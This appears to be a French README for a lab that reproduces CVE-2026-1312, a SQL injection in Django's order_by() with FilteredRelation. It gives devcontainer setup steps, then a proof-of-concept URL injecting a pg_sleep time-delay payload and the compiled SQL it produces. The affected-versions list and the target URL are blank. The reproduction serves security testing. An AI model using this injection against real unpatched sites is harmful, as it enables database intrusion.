
Reproduit CVE-2026-1312, une vulnérabilité d'injection SQL dans Django, avec un environnement Dockerisé et un PoC étape par étape pour les tests de sécurité.
CVE-2026-1312 est une vulnérabilité critique d'injection SQL dans Django : lorsqu'un alias de colonne contenant un point est utilisé dans QuerySet.order_by(), combiné à une construction dynamique de requête via un dictionnaire avec FilteredRelation, un attaquant peut injecter du SQL malveillant
Versions affectées :
Ce projet de vulnérabilité utilise le devcontainer de vscode pour sa construction
1️⃣ Ouvrir le projet Ouvrez le répertoire racine du projet existant (contenant le dossier .devcontainer) avec VS Code.
2️⃣ Rouvrir le conteneur (construire le Dev Container)
Appuyez sur Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)
Saisissez Remote-Containers: Reopen in Container
VS Code lira la configuration .devcontainer et construira le conteneur (la première construction peut prendre quelques minutes)
⚠️ Si le Dockerfile ou les dépendances ont été mis à jour, vous pouvez choisir Remote-Containers: Rebuild Container pour garantir l'utilisation de l'environnement le plus récent.
3️⃣ Exécuter le serveur de développement Django
Ouvrez la palette de commandes Ctrl+Shift+P
Saisissez Tasks: Run Task
Sélectionnez django:start (la tâche est déjà configurée dans .vscode/tasks.json)
Cette tâche démarrera le serveur de développement Django dans le conteneur
Il écoute par défaut sur 0.0.0.0:8086
4️⃣ Ouvrir le navigateur et accéder au projet
Ouvrez le navigateur et accédez à :
5️⃣ Remarques
Première exécution :
Il peut être nécessaire d'exécuter les migrations de base de données :
python manage.py migrate
Accédez à l'interface /book/search, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Vous constaterez un délai de 3 secondes réussi
À ce moment, le SQL compilé par l'ORM Django en interne est
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC